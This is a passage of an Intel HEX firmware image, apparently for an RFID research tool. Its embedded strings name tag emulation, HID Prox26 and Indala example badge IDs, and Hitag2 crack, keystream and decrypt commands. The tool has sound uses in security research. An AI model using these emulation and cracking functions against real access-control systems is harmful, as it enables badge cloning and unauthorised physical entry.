:10ce60009cf74524734d410f000000000b00401457
:10ce70000000000000a0023cdc5642240400032411
:10ce8000a00043a02120000002bc400f00000000d1
:10ce90003000c2a3ac73400b00000000029d023cb6
:10cea000a4f7442435bc400f000000003000c2a3aa
:10ceb0008800c48f029d023cc0f745240800062468
:10cec0007654410f000000001c00401400000000d8
:10ced0008800c28f0800422421204000029d023cad
:10cee00060ee4524e8808627b355410f000000001e
:10cef00021184000010002240b0062140000000011
:10cf0000e880838f00a0023cdc564224880043acba
:10cf10002120000002bc400f000000003000c2a32e
:10cf2000cf73400b00000000029d023c10f7442428
:10cf300035bc400f000000003000c2a38800c48f41
:10cf4000029d023cccf74524090006247654410f8b
:10cf5000000000001d004014000000008800c28f87
:10cf6000090043246000c22721206000029d033c89
:10cf70000cf7652421304000b355410f000000003c
:10cf800021184000010002240b0062140000000080
:10cf90006000c38f00a0023cdc564224a40043acd6
:10cfa0002120000002bc400f000000003000c2a39e
:10cfb000f373400b00000000029d023cd8f74424ac
:10cfc00035bc400f000000003000c2a38800c48fb1
:10cfd000029d023cecf745240b0006247654410fd9
:10cfe000000000001d004014000000008800c28ff7
:10cff0000b0043246000c22721206000029d033cf7
:10d000000cf7652421304000b355410f00000000ab
:10d0100021184000010002240b00621400000000ef
:10d020006000c38f00a0023cdc564224d40043ac15
:10d030002120000002bc400f000000003000c2a30d
:10d040001774400b00000000029d023cf8f74424d6
:10d0500035bc400f000000003000c2a38800c48f20
:10d06000029d023c10f84524090006247654410f25
:10d07000000000001d004014000000008800c28f66
:10d08000090043246000c22721206000029d033c68
:10d090000cf7652421304000b355410f000000001b
:10d0a00021184000010002240b006214000000005f
:10d0b0006000c38f00a0023cdc564224a80043acb1
:10d0c0002120000002bc400f000000003000c2a37d
:10d0d0003b74400b00000000029d023cd8f7442442
:10d0e00035bc400f000000003000c2a38800c48f90
:10d0f000029d023c1cf84524090006247654410f89
:10d10000000000001d004014000000008800c28fd5
:10d11000090043246000c22721206000029d033cd7
:10d120000cf7652421304000b355410f000000008a
:10d1300021184000010002240b00621400000000ce
:10d140006000c38f00a0023cdc564224ac0043ac1c
:10d150002120000002bc400f000000003000c2a3ec
:10d160005f74400b00000000029d023cd8f744248d
:10d1700035bc400f000000003000c2a38800c48fff
:10d18000029d023c28f845240d0006247654410fe8
:10d190000000000020004014000000008800c28f42
:10d1a0000d0043246000c22721206000029d033c43
:10d1b0000cf7652421304000b355410f00000000fa
:10d1c00021184000010002240c006214000000003d
:10d1d0006000c28fff00433000a0023cdc564224b6
:10d1e000bc0043a02120000002bc400f0000000052
:10d1f0003000c2a3b274400b00000000029d023c4c
:10d2000038f8442435bc400f000000003000c2a3b1
:10d21000b274400b000000008800c48f029d023ce5
:10d2200050f84524080006247654410f0000000001
:10d2300025004014000000008800c28f080044242c
:10d240006000c3276400c227029d053c5cf8a5244a
:10d250002130600021384000b355410f000000002c
:10d260002118400002000224120062140000000095
:10d270006000c28f0400422c0e004010000000002d
:10d280006000c48f6400c28fff00433000a0023ce6
:10d29000dc56422421108200bd0043a02120000062
:10d2a00002bc400f000000003000c2a3b274400b6b
:10d2b00000000000029d023c64f8442435bc400f8d
:10d2c000000000003000c2a38800c48f029d023c11
:10d2d00078f84524080006247654410f0000000029
:10d2e00019004014000000008800c28f080042248a
:10d2f0002120400052bf400f000000005800c2a390
:10d300005800c2930b004010000000005800c29368
:10d3100021204000abc0400f000000002120000091
:10d3200002bc400f000000003000c2a3d274400bca
:10d3300000000000029d023c84f8442435bc400fec
:10d34000000000003000c2a38800c48f029d023c90
:10d3500098f84524090006247654410f0000000087
:10d3600013004014000000008800c28f090042240e
:10d370002120400023e8400f00000000070040107b
:10d38000000000002120000002bc400f000000004f
:10d390003000c2a3ec74400b00000000029d023c70
:10d3a00084f8442435bc400f000000003000c2a3c4
:10d3b0008800c48f029d023ca4f84524734d410fa0
:10d3c00000000000280040140000000001000424b8
:10d3d00002bc400f000000003000c2a3029d023cce
:10d3e0003cec4424029d023cacf845242013410f40
:10d3f0000000000001000224888082af1175400bfc
:10d400000000000000a0023cdc564224870042904d
:10d4100000a0033cdc246424212840001e2d410f81
:10d42000000000000700401000000000029d023cc8
:10d4300064ed442400a0023cdc2445242013410f69
:10d44000000000004715410f00000000edff4010f4
:10d45000000000005c15410f00000000e00c410fcf
:10d4600000000000888080af8800c48f029d023ccd
:10d47000ccf845240b0006247654410f0000000030
:10d480000900401400000000edb4400f000000004f
:10d490002120000002bc400f000000003000c2a3a9
:10d4a0008275400b000000008800c48f029d023c82
:10d4b000d8f845240b0006247654410f00000000e4
:10d4c0000b0040140000000021b5400f00000000d8
:10d4d0002120000002bc400f000000003000c2a369
:10d4e0005c15410f000000008275400b0000000039
:10d4f0008800c48f029d023ce4f845240b000624fa
:10d500007654410f0000000011004014000000009c
:10d5100001000224da8082a30c00042421280000e8
:10d520006400062421380000be17410f00000000ef
:10d530002120000002bc400f000000003000c2a308
:10d540005c15410f000000008275400b00000000d8
:10d550008800c48f029d023cf0f84524090006248f
:10d560007654410f00000000270040140000000026
:10d57000da8080a36000c0af6400c0af6800c0afb5
:10d580008800c28f090044246000c3276400c227ba
:10d590006800c5271000a5af029d053cfcf8a52436
:10d5a0002130600021384000b355410f00000000d9
:10d5b0000100042402bc400f000000003000c2a3a0
:10d5c000029d023c3cec4424029d023c08f94524a7
:10d5d0002013410f000000006000c48f6400c58f5d
:10d5e0006800c38f6800c28f2b100200ff0042301a
:10d5f0002130600021384000be17410f00000000bc
:10d600005c15410f000000008800c48f029d023ca1
:10d610003cf94524734d410f000000000700401401
:10d62000000000002120000002bc400f00000000ac
:10d630003000c2a3e00c410f000000008800c48f3e
:10d64000029d023c44f94524734d410f0000000047
:10d6500009004014000000000100042402bc400f37
:10d66000000000003000c2a322bf400f00000000f5
:10d670005c15410f000000008800c48f029d023c31
:10d680004cf94524734d410f000000005100401437
:10d690000000000000a0023cdc56422487004290bb
:10d6a0000800401400000000029d023cc0ef44242a
:10d6b00035bc400f000000003000c2a3f575400be0
:10d6c0000000000000a0023cdc564224870042908b
:10d6d0006000c3272120600021284000cb25410f96
:10d6e000000000000800401400000000029d023c01
:10d6f00054f9442435bc400f000000003000c2a3a0
:10d70000f575400b0000000000a0023cdc564224ee
:10d710008700429000a0033cf46c64242128400060
:10d720009b26410f00000000250040100000000073
:10d7300000a0023cdc5642248700429000a0033c3b
:10d74000f46d642421284000bb26410f0000000036
:10d7500000a0023cdc5642248700429000a0033c1b
:10d76000f46e642421284000db26410f00000000f5
:10d770000100042402bc400f000000003000c2a3de
:10d7800000a0023cdc5642248700429000a0033ceb
:10d79000f46c642400a0033cf46d652400a0033cf9
:10d7a000f46e6624213840003927410f0000000044
:10d7b0005c15410f00000000f575400b00000000f3
:10d7c000029d023c84ef442435bc400f0000000061
:10d7d0003000c2a38800c48f029d023c78f9452422
:10d7e000734d410f0000000038004014000000009d
:10d7f0000100042402bc400f000000003000c2a35e
:10d80000029d023c3cec4424029d023c84f94524e8
:10d810002013410f00000000e003410f0000000052
:10d820004400c2af4400c28f050040100000000059
:10d83000029d023cb8f942241276400b0000000021
:10d84000029d023cc0f94224029d033cc8f96424b5
:10d85000212840002013410f000000000100042493
:10d86000a403410f000000004400c2af029d023c2f
:10d87000f0f944244400c58f8513410f00000000d7
:10d880007603410f000000004400c2af029d023c3d
:10d8900020fa44244400c58f8513410f0000000086
:10d8a000e8030424a403410f000000004400c2afb9
:10d8b000029d023c54fa44244400c58f8513410f55
:10d8c000000000005c15410f000000008800c48fbc
:10d8d000029d023c8cfa4524080006247654410f30
:10d8e00000000000160040140000000001000424a5
:10d8f00002bc400f000000003000c2a300a0023ca8
:10d90000f46c40a08800c28f08004224212040000f
:10d91000029d023c3cec452400a0023cf46c4624f1
:10d92000b355410f0000000000a0023cf46c4424f9
:10d93000bc3b410f000000005c15410f00000000df
:10d940008800c48f029d023c98fa4524734d410f14
:10d9500000000000240040140000000019ec400ffb
:10d96000000000001b004010000000000100042423
:10d9700002bc400f000000003000c2a3029d023c28
:10d980003cec4424029d023ca0fa45242013410fa4
:10d99000000000006c80829300a0033cf417642414
:10d9a00021284000adb9400f00000000029d023c5c
:10d9b0003cec4424029d023c48ed45242013410fd9
:10d9c000000000005c15410f000000007a76400b5b
:10d9d00000000000029d023c4ced442435bc400f89
:10d9e000000000003000c2a38800c48f029d023cea
:10d9f000a8fa4524734d410f0000000014004014a4
:10da000000000000d88082930100422cff004230c9
:10da1000212040001345410f000000000700401086
:10da2000000000002120000002bc400f00000000a8
:10da30003000c2a39476400b00000000029d023c1f
:10da40004ced442435bc400f000000003000c2a360
:10da50008800c48f029d023cb0fa4524734d410feb
:10da60000000000009004014000000000100042430
:10da700002bc400f000000003000c2a3280d410f7f
:10da8000000000005c15410f000000008800c48ffa
:10da9000029d023cbcfa4524734d410f000000007a
:10daa000130040140000000021200000b5f8400fd2
:10dab0000000000011f8400f0000000007004010b7
:10dac000000000002120000002bc400f0000000008
:10dad0003000c2a3bc76400b00000000029d023c57
:10dae0004ced442435bc400f000000003000c2a3c0
:10daf0008800c48f029d023cccfa45241200062403
:10db00007654410f000000003e0040140000000069
:10db10006000c0af8800c28f120043246000c2279b
:10db200021206000029d033cbcec652421304000b4
:10db3000b355410f00000000020042282c004010a5
:10db4000000000006000c28f0500422c2800401039
:10db5000000000000100042402bc400f000000008f
:10db60003000c2a300a0023cdc5642249000428c4c
:10db7000060040100000000000a0023cdc564224d9
:10db80009400428c08004014000000006000c28f26
:10db9000ff00423021204000fbf4400f0000000055
:10dba000ef76400b000000006000c28fff004230a3
:10dbb0002120400058f6400f00000000029d023c6a
:10dbc000e0fa442400a0023cdc2445242013410f49
:10dbd0000000000000a0023cdc2440a0d48080af04
:10dbe0005c15410f000000000177400b00000000b1
:10dbf000029d023cecfa442435bc400f00000000ba
:10dc00003000c2a38800c48f029d023c00fb452463
:10dc1000060006247654410f000000003e00401428
:10dc20000000000000a0023cdc5642248700429025
:10dc30000800401400000000029d023cc0ef442494
:10dc400035bc400f000000003000c2a34677400bf7
:10dc50000000000000a0023cdc56422487004290f5
:10dc60006000c3272120600021284000cb25410f00
:10dc7000000000000800401400000000029d023c6b
:10dc800054f9442435bc400f000000003000c2a30a
:10dc90004677400b0000000000a0023cf46c40a05e
:10dca0008800c28f0600422421204000029d023cd1
:10dcb00008fb452400a0023cf46c4624b355410ff8
:10dcc0000000000000a0023cdc5642248700429085
:10dcd0002120400000a0023cf46c452441c6400fc6
:10dce000000000000700401000000000212000009c
:10dcf00002bc400f000000003000c2a34677400b7a
:10dd000000000000029d023c0cfb442435bc400f87
:10dd1000000000003000c2a38800c48f029d023cb6
:10dd20001cfb4524734d410f000000000e00401401
:10dd3000000000002120000002bc400f0000000095
:10dd40003000c2a388bf033c206162940100042418
:10dd5000444a827c206162a488bf033ca061629433
:10dd6000444a027ca06162a48800c48f029d023ce8
:10dd70002cfb4524734d410f0000000009004014a6
:10dd8000000000002120000002bc400f0000000045
:10dd90003000c2a388bf033c20616294444a027ce5
:10dda000206162a48800c48f029d023c38fb452498
:10ddb000050006247654410f000000002d00401499
:10ddc0000000000000a0023cdc5642248700429084
:10ddd0000800401400000000029d023cc0ef4424f3
:10dde00035bc400f000000003000c2a39d77400bff
:10ddf0000000000000a0023cf46c40a08800c28f2c
:10de00000500422421204000029d023c08fb4524dd
:10de100000a0023cf46c4624b355410f0000000002
:10de200000a0023cdc5642248700429021204000a2
:10de300000a0023cf46c45248ac6400f000000009c
:10de400007004010000000002120000002bc400f2d
:10de5000000000003000c2a39d77400b00000000ce
:10de6000029d023c0cfb442435bc400f0000000026
:10de70003000c2a38800c48f029d023c40fb4524b1
:10de8000734d410f000000002a0040140000000004
:10de900000a0023cdc564224870042900800401457
:10dea00000000000029d023cc0ec442435bc400f41
:10deb000000000003000c2a3cd77400b000000003e
:10dec00000a0023cdc5642248700429000a0033ca4
:10ded000dc246424212840001e2d410f0000000096
:10dee0000f004010000000000100042402bc400f9d
:10def000000000003000c2a3029d023c64ed4424f7
:10df000000a0023cdc2445242013410f0000000047
:10df10005c15410f00000000cd77400b00000000b1
:10df2000029d023cf8f3442435bc400f0000000081
:10df30003000c2a38800c48f029d023c44fb4524ec
:10df4000734d410f000000000c0040140000000061
:10df50000100042402bc400f000000003000c2a3f6
:10df6000029d023c4cfb4424cb0005248513410f49
:10df7000000000005c15410f000000008800c48f05
:10df8000029d023c60fb4524734d410f00000000e0
:10df900009004014000000000100042402bc400fee
:10dfa000000000003000c2a33be7400f000000006b
:10dfb0005c15410f000000008800c48f029d023ce8
:10dfc00068fb4524070006247654410f000000003a
:10dfd00032004014000000008800c28f0700432474
:10dfe0006000c22721206000029d033c70fb652475
:10dff0002130400000a0023cf46c4724b355410f8f
:10e000000000000021184000020002241e006214db
:10e01000000000006000c28f2120400000a0023cf0
:10e02000f46c452468eb400f000000000f00401026
:10e03000000000000100042402bc400f00000000aa
:10e040003000c2a3029d023c64ed442400a0023cc7
:10e05000f46c45242013410f000000005c15410fb3
:10e06000000000002778400b00000000029d023ce9
:10e0700078fb442435bc400f000000003000c2a3f0
:10e080002778400b00000000029d023c8cfb4424da
:10e0900035bc400f000000003000c2a38800c48fd0
:10e0a000029d023cb0fb4524734d410f000000006f
:10e0b0000f004010000000008800c48f029d023c49
:10e0c000b8fb4524734d410f0000000008004010cc
:10e0d000000000008800c48f029d023cc0fb452464
:10e0e000734d410f000000005d014014000000006e
:10e0f0000100042402bc400f000000003000c2a355
:10e10000029d023c3cec4424029d023cc8fb452499
:10e110002013410f00000000029d023c3cec44240f
:10e12000029d023cf4fb45242013410f0000000037
:10e13000029d023c3cec4424029d023c30fc452400
:10e140002013410f00000000029d023c3cec4424df
:10e15000029d023c6cfc45242013410f000000008e
:10e16000029d023c3cec4424029d023cb0fc452450
:10e170002013410f00000000029d023c3cec4424af
:10e18000029d023c08fd45242013410f00000000c1
:10e19000029d023c3cec4424029d023c5cfd452473
:10e1a0002013410f00000000029d023c3cec44247f
:10e1b000029d023cb0fd45242013410f00000000e9
:10e1c000029d023c3cec4424029d023cf8fd4524a7
:10e1d0002013410f00000000029d023c3cec44244f
:10e1e000029d023c3cfe45242013410f000000002c
:10e1f000029d023c3cec4424029d023c80fe4524ee
:10e200002013410f00000000029d023c3cec44241e
:10e21000029d023cc8fe45242013410f000000006f
:10e22000029d023c3cec4424029d023c18ff452424
:10e230002013410f00000000029d023c3cec4424ee
:10e24000029d023c64ff45242013410f00000000a2
:10e25000029d023c3cec4424029d023cbcff452450
:10e260002013410f00000000029d023c3cec4424be
:10e27000029d023c180045242013410f00000000bd
:10e28000029d023c3cec4424029d023c6c0045246f
:10e290002013410f00000000029d023c3cec44248e
:10e2a000029d023cc00045242013410f00000000e5
:10e2b000029d023c3cec4424029d023c1401452496
:10e2c0002013410f00000000029d023c3cec44245e
:10e2d000029d023c600145242013410f0000000014
:10e2e000029d023c3cec4424029d023cac014524ce
:10e2f0002013410f00000000029d023c3cec44242e
:10e30000029d023cfc0145242013410f0000000047
:10e31000029d023c3cec4424029d023c58024524f0
:10e320002013410f00000000029d023c3cec4424fd
:10e33000029d023cb40245242013410f000000005e
:10e34000029d023c3cec4424029d023cfc0245241c
:10e350002013410f00000000029d023c3cec4424cd
:10e36000029d023c580345242013410f0000000089
:10e37000029d023c3cec4424029d023cb403452433
:10e380002013410f00000000029d023c3cec44249d
:10e39000029d023cfc0345242013410f00000000b5
:10e3a000029d023c3cec4424029d023c480445246e
:10e3b0002013410f00000000029d023c3cec44246d
:10e3c000029d023c940445242013410f00000000ec
:10e3d000029d023c3cec4424029d023cd8044524ae
:10e3e0002013410f00000000029d023c3cec44243d
:10e3f000029d023c1c0545242013410f0000000033
:10e40000029d023c3cec4424029d023c70054524e4
:10e410002013410f00000000029d023c3cec44240c
:10e42000029d023cb80545242013410f0000000066
:10e43000029d023c3cec4424029d023c0006452423
:10e440002013410f00000000029d023c3cec4424dc
:10e45000029d023c480645242013410f00000000a5
:10e46000029d023c3cec4424029d023c8c06452467
:10e470002013410f00000000029d023c3cec4424ac
:10e48000029d023ce00645242013410f00000000dd
:10e49000029d023c3cec4424029d023c2c07452496
:10e4a0002013410f00000000029d023c3cec44247c
:10e4b000029d023c7c0745242013410f0000000010
:10e4c000029d023c3cec4424029d023ccc074524c6
:10e4d0002013410f00000000029d023c3cec44244c
:10e4e000029d023c1c0845242013410f000000003f
:10e4f000029d023c3cec4424029d023c64084524fd
:10e500002013410f00000000029d023c3cec44241b
:10e51000029d023cbc0845242013410f000000006e
:10e52000029d023c3cec4424029d023c0809452427
:10e530002013410f00000000029d023c3cec4424eb
:10e54000029d023c440945242013410f00000000b5
:10e55000029d023c3cec4424029d023c900945246f
:10e560002013410f00000000029d023c3cec4424bb
:10e57000029d023ce00945242013410f00000000e9
:10e58000029d023c3cec4424029d023c2c0a4524a2
:10e590002013410f00000000029d023c3cec44248b
:10e5a000029d023c780a45242013410f0000000020
:10e5b000029d023c3cec4424029d023cc40a4524da
:10e5c0002013410f00000000029d023c3cec44245b
:10e5d000029d023c040b45242013410f0000000063
:10e5e000029d023c3cec4424029d023c440b452429
:10e5f0002013410f00000000029d023c3cec44242b
:10e60000029d023c8c0b45242013410f00000000aa
:10e61000029d023c3cec4424029d023cd00b45246c
:10e620002013410f00000000029d023c3cec4424fa
:10e63000029d023c140c45242013410f00000000f1
:10e64000029d023c3cec4424029d023c5c0c4524af
:10e650002013410f000000005c15410f0000000076
:10e660008800c48f029d023c9c0c4524734d410fd1
:10e67000000000001000401400000000010004240d
:10e6800002bc400f000000003000c2a3029d023c0b
:10e690003cec4424029d023cac0c45242013410f69
:10e6a0000000000021200000fbf4400f00000000eb
:10e6b0005c15410f000000008800c48f029d023ce1
:10e6c000ec0c4524734d410f00000000070040147e
:10e6d000000000002120000002bc400f00000000ec
:10e6e0003000c2a380f8400f000000008800c48ff3
:10e6f000029d023cfc0c4524734d410f00000000bc
:10e7000007004014000000002120000002bc400f60
:10e71000000000003000c2a393f8400f000000008a
:10e720008800c48f029d023c0c0d4524734d410f9f
:10e73000000000002a004014000000000100042432
:10e7400002bc400f000000003000c2a3029d023c4a
:10e750003cec4424029d023cac0c45242013410fa8
:10e760000000000000a0023cdc2440a000a0023c0d
:10e77000dc5642249000428c06004010000000004d
:10e7800000a0023cdc5642249400428c0600401457
:10e790000000000021200000fbf4400f00000000fa
:10e7a000ed79400b000000002120000058f6400fda
:10e7b00000000000029d023ce0fa442400a0023c5c
:10e7c000dc2445242013410f0000000000a0023c7f
:10e7d000dc2440a0d48080af5c15410f0000000015
:10e7e0008800c48f029d023c1c0d45240e000624a7
:10e7f0007654410f0000000030004014000000007b
:10e8000000a0023cdc5642249000428c06004010de
:10e810000000000000a0023cdc5642249400428c20
:10e820000800401400000000029d023c2c0d44240e
:10e8300035bc400f000000003000c2a32f7a400b0f
:10e840000000000093f8400f000000008800c28f15
:10e850000e00422421204000029d023c3cec452455
:10e8600000a0023cf46c4624b355410f00000000a8
:10e8700021184000010002240b0062140000000077
:10e880002120000002bc400f000000003000c2a3a5
:10e8900000a0023cf46c442480f7400f000000000c
:10e8a0002f7a400b00000000029d023c30ed442412
:10e8b00035bc400f000000003000c2a38800c48fa8
:10e8c000029d023c480d4524734d410f000000009d
:10e8d00007004014000000002120000002bc400f8f
:10e8e000000000003000c2a37f24410f00000000a0
:10e8f0008800c48f029d023c500d4524060006246a
:10e900007654410f00000000330040140000000066
:10e910008800c28f060043246000c22721206000c7
:10e92000029d033c70fb65242130400000a0023ca6
:10e93000f46c4724b355410f00000000211840003b
:10e94000020002241f006214000000006000c28f59
:10e950002120400000a0023cf46c45240100062464
:10e960004048410f000000000f0040100000000070
:10e970000100042402bc400f000000003000c2a3cc
:10e98000029d023c64ed442400a0023cf46c45244a
:10e990002013410f000000005c15410f0000000033
:10e9a000767a400b00000000029d023c0cfb4424e0
:10e9b00035bc400f000000003000c2a3767a400b47
:10e9c00000000000029d023c8cfb442435bc400f3b
:10e9d000000000003000c2a33000c29318004014b1
:10e9e000000000008800c48f029d023c50ec4524ca
:10e9f000734d410f000000000500401000000000b2
:10ea0000d8808393010002240b00621400000000f0
:10ea10000100042402bc400f000000008800c48fe5
:10ea20005065400f000000005c15410f0000000021
:10ea3000907a400b0000000050bc400f0000000026
:10ea40002324410f000000000600401000000000d9
:10ea5000029d023c580d42243c00c2af9c7a400b00
:10ea600000000000029d023ca8ec42243c00c2af22
:10ea700000a0023cdc56422487004290060040146d
:10ea800000000000029d023c0cf542242c8082af65
:10ea9000b07a400b0000000000a0023cdc5642248b
:10eaa000870042902118400000a0023c801803001b
:10eab00018714224211062000000428c2c8082af29
:10eac000d88083930100022411006214000000002a
:10ead000029d023c3cec44243c00c58f2013410fb6
:10eae000000000002c80828f029d033c3cec6424db
:10eaf000212840002013410f00000000029d023c2d
:10eb00003cec44244000c58f2013410f000000005e
:10eb10002110000021e8c0038400bf8f8000be8f59
:10eb20008800bd270800e00300000000d8ffbd27d3
:10eb30002400bfaf2000beaf21f0a00388bf023c7d
:10eb4000505240ac88bf023c105240ac88bf023cdf
:10eb5000505040ac88bf033c8050629001000424b8
:10eb60000400827c805062a0f88180af00a0023c4b
:10eb7000dc8082afdc80828f3412033c78566334b1
:10eb8000000043acef57410f000000001000c2af7f
:10eb900088bf023c0030428c0003427cff004230c0
:10eba0001c00c2af1c00c28f09004014000000000e
:10ebb00088bf023c00100324083043ac88bf023ced
:10ebc0000030428c00084230fcff4014000000007e
:10ebd0001c00c28f1400c2af81bf023c30f240acb7
:10ebe00081bf023c99aa033c5566633430f243acc2
:10ebf00081bf023c6655033caa99633430f243acb2
:10ec000081bf023c0100032418f643ac81bf023ce3
:10ec100010f642241800c2af1800c28f0000428cc8
:08ec2000087b400b000000001e
:020000040000fa
:020000041d01dc
:10ec28004f6666004f6e00004c6f77004869676852
:10ec380000000000257300000700000008200800fd
:10ec480048454c502000000048454c50000000004a
:10ec580020202020257300004e6f74653a20272a53
:10ec6800272070726570656e64656420746f206d0e
:10ec780061696e2070726f6d707420696e6469636b
:10ec88006174657320756e736176656420636f6e59
:10ec9800666967206368616e6765730d0a00000026
:10eca800000000003e200000414e414c4f475545b2
:10ecb800200000002564000053657420544147205b
:10ecc800747970652066697273742100496e766183
:10ecd8006c6964206e756d626572206f6620736161
:10ece8006d706c6573210000414e414c4f4755458e
:10ecf8004e2000004150445520000000415049007a
:10ed080041534b2000000000257320256c6420250a
:10ed1800752025750000000053656e6420666169e2
:10ed28006c65642100000000496e76616c6964209e
:10ed3800706172616d65746572732100415452008f
:10ed48000d0a00004661696c65642100415554480c
:10ed580000000000202573202575000025730d0a8a
:10ed68000000000041757468206661696c65642163
:10ed7800000000004155544f504f54004155544f26
:10ed88005241544500000000547279696e6720288a
:10ed9800666f72206265737420726573756c747324
:10eda80020757365206e6f6e2d7a65726f205359ca
:10edb8004e432062697473293a0d0a0044617461f4
:10edc80020726174652069732052462f25640d0aec
:10edd800000000004155544f52554e004155544fc4
:10ede80052554e204f4646004155544f52554e20dd
:10edf800000000004155544f5441470042494e54c9
:10ee08004f48455820000000424c00005377697471
:10ee18006368696e6720746f20424f4f544c4f41ae
:10ee2800444552206d6f64652e2e2e0d0a0d0a0082
:10ee3800434c4900434c4f434b482000256c660027
:10ee4800434c4f434b50200025752025750000008a
:10ee5800434c4f434b542000256c6400434c4f4ea9
:10ee680045000000434f494c2048494748000000ee
:10ee7800434f494c204c4f5700000000434f4e462b
:10ee880049470000434f4e564552542000000000a9
:10ee9800565461672074797065206e6f74207365ad
:10eea80074210000434f50590000000025732025ad
:10eeb8007300000044454255470000004445425550
:10eec8004720000025690000496e76616c6964205e
:10eed80044454255472070696e210000444542551b
:10eee800474f4e200000000044454255474f4646d4
:10eef800200000004976616c6964204c454421007b
:10ef0800444554454354000057616974696e67204d
:10ef1800666f722065787465726e616c20636c6fc1
:10ef2800636b202868697420616e79206b6579208d
:10ef3800746f2061626f7274292e2e2e0d0a0000e4
:10ef4800444f4f5220434c4f53450000444f4f52bb
:10ef5800204f50454e00000044554d502000000001
:10ef6800496e76616c696420626c6f636b206e75a4
:10ef78006d62657228732921000000005265616482
:10ef8800206661696c6564210000000025643a20f0
:10ef980000000000496e76616c696420626c6f63e2
:10efa8006b206e756d626572287329210d0a000049
:10efb800454d552000000000546167207479706544
:10efc800206e6f742073657421000000454d554c08
:10efd80041544f5200000000454d554c41544f528a
:10efe800204247004372656174652076616c6964ec
:10eff800205654414720666972737421000000004e
:10f00800496e76616c69642055494421000000000e
:10f01800454e434f44452000456e636f6465206646
:10f0280061696c65642100005654414720656e6330
:10f038006f6465206661696c656421004558414dbf
:10f04800504c45530000000052415720456d756ce7
:10f058006174696f6e206578616d706c65733a0dc7
:10f068000a0000000d0a2020454d3458303220494e
:10f0780044202730303030444334343230270d0aae
:10f088000d0a000020202020534554204d414e20d9
:10f098004f4e0d0a000000002020202041534b2035
:10f0a80046463830303030364630393439343036e8
:10f0b800203830302036342032300d0a000000006d
:10f0c8000d0a2020556e6971756520494420273046
:10f0d800444541444245454630270d0a0d0a000083
:10f0e8002020202041534b20464644433041374599
:10f0f80045454637383343302038303020363420c1
:10f1080032300d0a000000000d0a20204849442032
:10f1180050726f783236205369746520436f646586
:10f12800203132332049442034353637380d0a0d22
:10f138000a00000020202020534554204d414e2035
:10f148004f46460d0a0000002020202046534b2041
:10f15800314435353539353535353639414136411e
:10f168003639363541364136203830302035302072
:10f17800382031302032300d0a0000000d0a2020de
:10f18800496e64616c612028656e6372797074657c
:10f1980064293a0d0a0d0a002020202050534b31d3
:10f1a8002030303030303030323541413941324210
:10f1b80030373446313133413436343545323042d4
:10f1c8003741373932423833314444334335384490
:10f1d80032374137323742324220383030203332ea
:10f1e80020322032300d0a000d0a0d0a2054414702
:10f1f80020456d756c6174696f6e206578616d70fe
:10f208006c65730d0a0000000d0a2020454d345826
:10f218003032204944202741424344453132333477
:10f2280035270d0a0d0a00002020202053455420c0
:10f2380054414720454d345830320d0a0000000033
:10f2480020202020454d552041424344453132334a
:10f2580034350d0a000000000d0a2020556e697132
:10f2680075652049442027303043414645463030b3
:10f2780044270d0a0d0a0000202020205345542061
:10f2880054414720554e495155450d0a000000008c
:10f2980020202020454d55203030434146454630fa
:10f2a80030440d0a000000000d0a2020484944207f
:10f2b80050726f783236205369746520436f6465e5
:10f2c800203235342049442030303636360d0a0d88
:10f2d8000a00000020202020534554205441472094
:10f2e80048494432360d0a0020202020454d55203b
:10f2f80032353430303636360d0a00000d0a0d0a24
:10f308002052574420636f6d6d616e64206578618b
:10f318006d706c65730d0a00203d3d3d3d3d3d3de2
:10f328003d3d3d3d3d3d3d3d3d3d3d3d3d0d0a00a5
:10f338000d0a2020486974616732205354415254a1
:10f348005f415554480d0a0d0a0000002020202076
:10f3580050574d2038303020343030302034303061
:10f368003020313820323620350d0a002020202068
:10f378005257442031313030300d0a0046534b206b
:10f3880000000000257320256c6420257520257554
:10f39800202575202575000053656e64696e672009
:10f3a800257320004652455155454e4359000000eb
:10f3b80025640d0a00000000484558544f42494e44
:10f3c800200000004849544147322d435241434be5
:10f3d800200000005441472074797065206d7573d2
:10f3e80074206265204849544147322100000000da
:10f3f80072656164206572726f72210048495441d8
:10f4080047322d4b455953545245414d2000000079
:10f418004849544147322d52454144455200000065
:10f4280053000000344634453444343934423532cc
:10f43800000000004849544147322d434c45415291
:10f4480053544f524544544147530000484954418e
:10f4580047322d434f554e5453544f52454454410f
:10f46800475300004849544147322d4c495354539f
:10f47800544f5245445441475300000048495441b1
:10f4880047322d524e47494e49542000484954416d
:10f4980047322d444543525950544845582000009e
:10f4a8004849544147322d444543525950544249e2
:10f4b8004e2000004c45442000000000496e766153
:10f4c8006c6964204c454421000000004c45444fc1
:10f4d8004e2000004c45444f464620004c4f4144c6
:10f4e800000000004c4f47494e0000004c6f676910
:10f4f8006e206661696c65642100000050494e47c2
:10f5080000000000524649446c657200504f545345
:10f5180000000000504f5444454320002563202537
:10f5280064000000504f542064656372656d656e19
:10f5380074206661696c656421000000496e76611b
:10f548006c696420706172616d6574657273000026
:10f55800504f54494e432000504f5420696e6372f7
:10f56800656d656e74206661696c656421000000d4
:10f57800696e76616c696420706172616d6574652d
:10f5880072730000504f545345542000504f54207c
:10f59800736574206661696c65642100496e7661e3
:10f5a8006c696420706172616d6574657221000018
:10f5b800504f545345544e5620000000504f54535a
:10f5c8004554562000000000256320256c66000085
:10f5d80050534b3120000000257320256c642025f2
:10f5e800752025752025750050574d200000000016
:10f5f800257520257520257520257520257520253c
:10f6080075202575202575005245414420000000cd
:10f6180056546167206e6f7420636f6d70617469f2
:10f62800626c6521000000005245414445520000cb
:10f638005441472074797065206e6f742073657427
:10f64800210000005245424f4f54000052544300dd
:10f65800253032782f253032782f25303278202502
:10f668003032783a253032783a2530327800000046
:10f6780052574420000000004661696c65642120ef
:10f6880050574d20706172616d6574657273206e9c
:10f698006f7420736574206f7220696e76616c696f
:10f6a80064206461746121005341564500000000e4
:10f6b800566572696679206661696c656421000027
:10f6c80053454c454354000053656c65637420668c
:10f6d80061696c65642100005345542042495048d3
:10f6e800415345204f46460053455420424950480f
:10f6f800415345204f4e000053455420424954532e
:10f708002000000025750000496e76616c69642050
:10f718006461746120626974732100005345542048
:10f7280046432000496e76616c6964204643207028
:10f738006572696f6421000053455420494e56454f
:10f748005254204f4646000053455420494e5645d2
:10f758005254204f4e000000534554204d414e4313
:10f76800484553544552204f4646000053455420bf
:10f778004d414e43484553544552204f4e000000da
:10f78800534554204d4f44200000000041534b0086
:10f7980046534b0050534b3100000000556e6b6ec2
:10f7a8006f776e206d6f64756c6174696f6e20730e
:10f7b8006368656d652100005345542050534b2004
